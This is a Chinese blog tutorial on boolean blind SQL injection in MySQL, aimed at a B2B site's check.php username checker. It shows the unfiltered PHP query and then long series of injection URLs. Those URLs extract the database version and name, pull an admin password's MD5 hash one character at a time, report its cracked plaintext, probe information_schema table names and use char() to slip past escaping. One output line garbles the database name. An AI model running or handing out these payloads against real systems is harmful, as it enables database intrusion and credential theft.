mysql盲注

2016-10-15  本文已影响113人  linkally

1注入点  我们先来看注入点,是一个B2B网站建站公司:

/demo/b2b/member/check.php?js_user=admin

用户名已被注册

/demo/b2b/member/check.php?js_user=admin'

select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1

我们看一下注入页面的代码(有删改):

$js_user = trim($_GET["js_user"]);

if($js_user){

$num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");

if(!$num)

echo "<div class=tip3><div>";

else

echo "<div class=tip2>用户名已注册<div>"

以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合

那么我们先从union的盲注来看吧。

先看版本

/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23

这个时候我们来看看原来的代码中的SQL语句是怎么执行的:

select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'

因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立

再来看database()的数据:

/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23

database()长度6

/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23

l

/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23

li

/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23

lic

/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23

licl

/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23

licln

/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23

licclny

length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。

这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。

再来看一点简单的判断句:

/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23

select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'

这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。

这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句

那么这里就能得到:

这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。

/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0

/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04

/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048

/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484

/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843

/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e

/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9

/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f

/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9

/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91

/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a

/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad

/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf

/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2

/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22

/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228

/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287

/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c

/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0

/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a

/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af

/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5

/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f

/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe

/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1

/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16

/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167

/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675

/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750

/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a

/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3

/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35

长度是32,是md5加密,解密得到lcl2wly

这样,猜数据的方法你肯定是懂了

最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段:

/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23

/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23

实际运行的SQL语句就是:

select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'

上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。

关于limit x,y 的用法,可以参考MySQL手册

最后剩下的要说的就是ascii函数和hex函数了

这两个函数的意义是避开php的GPC转义,例如:

/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23

select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#

substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字

上一篇下一篇

猜你喜欢

热点阅读